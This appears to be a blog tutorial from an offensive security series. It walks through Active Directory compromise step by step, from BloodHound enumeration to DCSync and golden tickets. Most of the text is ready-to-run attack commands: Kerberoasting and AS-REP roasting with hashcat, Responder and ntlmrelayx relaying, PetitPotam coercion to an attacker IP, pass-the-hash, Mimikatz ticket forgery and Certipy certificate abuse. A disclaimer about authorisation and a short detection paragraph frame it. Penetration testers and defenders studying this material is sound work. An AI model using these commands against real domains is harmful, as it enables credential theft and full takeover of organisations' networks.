Active Directory Attacks: Why Domain Admin Is Always Three Hops Away

Category: Technology

Tags: active-directory, kerberos, lateral-movement, domain-admin, bloodhound

Active Directory is the backbone of almost every enterprise Windows environment. It manages authentication, authorisation, group policy, and roughly a thousand other things that nobody fully understands -- including, frequently, the people who administer it. This complexity is precisely why it's the most targeted infrastructure in corporate networks. Domain Admin isn't a destination -- it's a series of misconfigurations, each one a stepping stone.

This article walks through the Active Directory attack path from initial enumeration through domain compromise, covering the tools and techniques that appear in virtually every real-world engagement. Every technique described here requires explicit written authorisation. Performing these attacks without permission is a criminal offence in most jurisdictions -- and an excellent way to discover how effective your target's incident response team actually is.

Phase 1: Enumeration

Before attacking anything, map the domain. Enumeration reveals the attack paths that already exist -- misconfigurations, overly permissive ACLs, service accounts with weak passwords, and delegation settings that effectively hand out domain admin.

BloodHound

BloodHound is the single most impactful tool in Active Directory assessment. It maps relationships between objects and identifies attack paths that would take hours to find manually.

# SharpHound collector (from a domain-joined Windows machine)
SharpHound.exe -c All --zipfilename bloodhound-data.zip
SharpHound.exe -c All,GPOLocalGroup --zipfilename bloodhound-data.zip

# BloodHound.py (from Linux -- no domain join required)
bloodhound-python -u user -p 'Password1' -d domain.local \
    -ns DC_IP -c All
bloodhound-python -u user -p 'Password1' -d domain.local \
    -dc dc01.domain.local -c All

Key BloodHound queries to run immediately:

PowerView

PowerView provides detailed enumeration directly from PowerShell. It's noisier than BloodHound but gives granular control over what you query.

Import-Module .\PowerView.ps1

# Domain information
Get-Domain
Get-DomainController
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess

# User enumeration
Get-DomainUser | Select-Object samaccountname,description,memberof
Get-DomainUser -SPN                    # Kerberoastable accounts
Get-DomainUser -PreauthNotRequired     # AS-REP roastable
Get-DomainUser -AdminCount             # Protected/privileged users

# Group enumeration
Get-DomainGroup -Identity "Domain Admins" -Recurse
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Computer enumeration
Get-DomainComputer | Select-Object dnshostname,operatingsystem
Get-DomainComputer -Unconstrained      # Unconstrained delegation

# ACL hunting (where the gold is)
Find-InterestingDomainAcl -ResolveGUIDs
Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite|ForceChangePassword"
}

# Share enumeration
Find-DomainShare -CheckShareAccess

From Linux (LDAP)

# ldapsearch
ldapsearch -x -H ldap://DC_IP -D "user@domain.local" \
    -w 'Password1' -b "DC=domain,DC=local" \
    "(objectClass=user)" sAMAccountName memberOf

# ldapdomaindump (generates HTML report)
ldapdomaindump -u 'domain.local\user' -p 'Password1' \
    ldap://DC_IP -o ldap_dump/

# enum4linux-ng (comprehensive)
enum4linux-ng -A -u 'user' -p 'Password1' DC_IP

Phase 2: Credential Attacks

With enumeration complete, the next step is extracting credentials -- cracking service account passwords, exploiting pre-authentication weaknesses, and capturing hashes from the network.

Kerberoasting

Kerberoasting targets service accounts with Service Principal Names (SPNs). Any authenticated domain user can request a service ticket for any SPN -- and that ticket is encrypted with the service account's password hash. Crack the ticket offline, get the password. No special privileges required.

# Impacket (from Linux)
GetUserSPNs.py domain.local/user:'Password1' \
    -dc-ip DC_IP -request -outputfile kerberoast.txt

# Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:kerberoast.txt
Rubeus.exe kerberoast /user:svc_sql /outfile:kerberoast.txt

# Crack with hashcat (type 13100 = Kerberos 5 TGS-REP)
hashcat -m 13100 kerberoast.txt /path/to/wordlist.txt

# Or john
john --wordlist=/path/to/wordlist.txt kerberoast.txt

Service accounts with weak passwords crack in seconds. Service accounts with "Summer2024!" as their password crack in slightly longer seconds. The root cause is almost always "this service account was created in 2009 and nobody has changed the password since."

AS-REP Roasting

If an account has Kerberos pre-authentication disabled, anyone can request an AS-REP for that account -- no password needed. The response is encrypted with the account's password hash and can be cracked offline.

# Impacket -- find and roast
GetNPUsers.py domain.local/ -usersfile users.txt \
    -dc-ip DC_IP -format hashcat -outputfile asrep.txt
GetNPUsers.py domain.local/user:'Password1' \
    -request -dc-ip DC_IP

# Rubeus
Rubeus.exe asreproast /outfile:asrep.txt

# Crack (type 18200 = Kerberos 5 AS-REP)
hashcat -m 18200 asrep.txt /path/to/wordlist.txt

NTLM Relay

Capture NTLM authentication attempts and relay them to other services. Devastatingly effective when SMB signing is not enforced.

# Responder -- poison LLMNR/NBT-NS to capture hashes
responder -I eth0 -dwPv

# ntlmrelayx -- relay captured auth to targets
ntlmrelayx.py -t TARGET -smb2support
ntlmrelayx.py -t ldap://DC_IP --escalate-user user
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# PetitPotam -- coerce authentication from the DC
PetitPotam.py ATTACKER_IP DC_IP

# Combine PetitPotam with ADCS relay for domain takeover
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController

Phase 3: Lateral Movement

With credentials in hand, move through the domain. Each technique leaves different forensic artifacts -- choose based on the assessment's stealth requirements.

Pass-the-Hash

Use an NTLM hash directly without cracking it. Works anywhere NTLM authentication is accepted (which is most places, unfortunately).

# Impacket
psexec.py -hashes :NTLM_HASH domain.local/admin@TARGET
wmiexec.py -hashes :NTLM_HASH domain.local/admin@TARGET
smbexec.py -hashes :NTLM_HASH domain.local/admin@TARGET
atexec.py -hashes :NTLM_HASH domain.local/admin@TARGET "whoami"

# CrackMapExec (spray across subnets)
crackmapexec smb TARGET -u admin -H NTLM_HASH
crackmapexec smb TARGET -u admin -H NTLM_HASH -x "whoami"
crackmapexec smb SUBNET/24 -u admin -H NTLM_HASH

# Evil-WinRM
evil-winrm -i TARGET -u admin -H NTLM_HASH

Pass-the-Ticket

Use a stolen Kerberos ticket rather than a password or hash.

# Export tickets (Mimikatz on Windows)
sekurlsa::tickets /export

# Rubeus
Rubeus.exe dump /nowrap

# Inject and use
Rubeus.exe ptt /ticket:BASE64_TICKET

# Impacket -- convert and use
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass domain.local/admin@target.domain.local

Phase 4: Domain Compromise

DCSync

DCSync simulates domain controller replication to extract password hashes for any account -- including krbtgt. Requires "Replicating Directory Changes" rights (Domain Admins have this by default).

# Impacket
secretsdump.py domain.local/admin:'Password1'@DC_IP
secretsdump.py domain.local/admin:'Password1'@DC_IP -just-dc-ntlm
secretsdump.py domain.local/admin:'Password1'@DC_IP -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv

Golden Ticket

With the krbtgt hash, forge a Kerberos TGT for any user -- including non-existent ones. This persists until the krbtgt password is changed twice.

# Requires: krbtgt NTLM hash, domain SID, domain name

# Impacket
ticketer.py -nthash KRBTGT_NTLM_HASH \
    -domain-sid S-1-5-21-... \
    -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc01.domain.local

# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local \
    /sid:S-1-5-21-... /krbtgt:HASH /ptt

Silver Ticket

Forge a service ticket for a specific service. Less powerful than a Golden Ticket but harder to detect -- doesn't touch the DC.

# Requires: service account NTLM hash, domain SID, SPN

# Impacket
ticketer.py -nthash SVC_NTLM_HASH \
    -domain-sid S-1-5-21-... \
    -domain domain.local \
    -spn CIFS/target.domain.local Administrator
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass domain.local/Administrator@target.domain.local

ADCS Abuse (Certipy)

Active Directory Certificate Services misconfigurations can provide a direct path to domain admin. ESC1 through ESC8 cover different misconfiguration types.

# Find vulnerable certificate templates
certipy find -u user@domain.local -p 'Password1' \
    -dc-ip DC_IP -vulnerable

# ESC1 -- request cert as another user
certipy req -u user@domain.local -p 'Password1' \
    -ca CA-NAME -target DC_IP \
    -template VulnTemplate -upn administrator@domain.local

# Authenticate with the forged certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

Constrained Delegation

Constrained delegation allows a service to impersonate users to specific other services. If you compromise a service with constrained delegation configured, you can impersonate any user to the delegated services.

# Find constrained delegation
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth | Select-Object samaccountname,msds-allowedtodelegateto

# Rubeus -- S4U attack
Rubeus.exe s4u /user:svc_account /rc4:HASH \
    /impersonateuser:Administrator \
    /msdsspn:CIFS/target.domain.local /ptt

# Impacket
getST.py -spn CIFS/target.domain.local \
    -impersonate Administrator \
    domain.local/svc_account:'Password1'
export KRB5CCNAME=Administrator.ccache

The Attack Path at a Glance

1. Enumerate    -> BloodHound + PowerView (map the domain)
2. Spray        -> CrackMapExec password spray
3. Kerberoast   -> GetUserSPNs.py + hashcat (crack service accounts)
4. AS-REP Roast -> GetNPUsers.py + hashcat (crack weak accounts)
5. Relay        -> Responder + ntlmrelayx (capture and relay)
6. Escalate     -> ACL abuse / delegation / ADCS
7. DCSync       -> secretsdump.py (extract all hashes)
8. Persist      -> Golden ticket / skeleton key

Each step feeds into the next. Enumeration identifies Kerberoastable accounts. Cracked service accounts provide lateral movement. Lateral movement reaches systems with Domain Admin sessions. Domain Admin sessions give DCSync rights. DCSync gives krbtgt. And krbtgt gives everything.

The defence? Treat every one of these steps as a detection opportunity. Monitor for Kerberoasting (Event ID 4769 with RC4 encryption), AS-REP roasting (4768 without pre-auth), DCSync (4662 with replication rights), and anomalous authentication patterns. The attack chain is long -- defenders only need to catch one link.

What's Next in the Series

• Offensive Security 103: Password Attacks -- the credential attacks that feed AD compromise
• Offensive Security 101: The Attack Lifecycle -- where AD attacks fit in the bigger picture
• Pivoting Cheatsheet -- moving through the network once you're in
• Threat Hunting 104: Lateral Movement Detection -- the defender's perspective on these techniques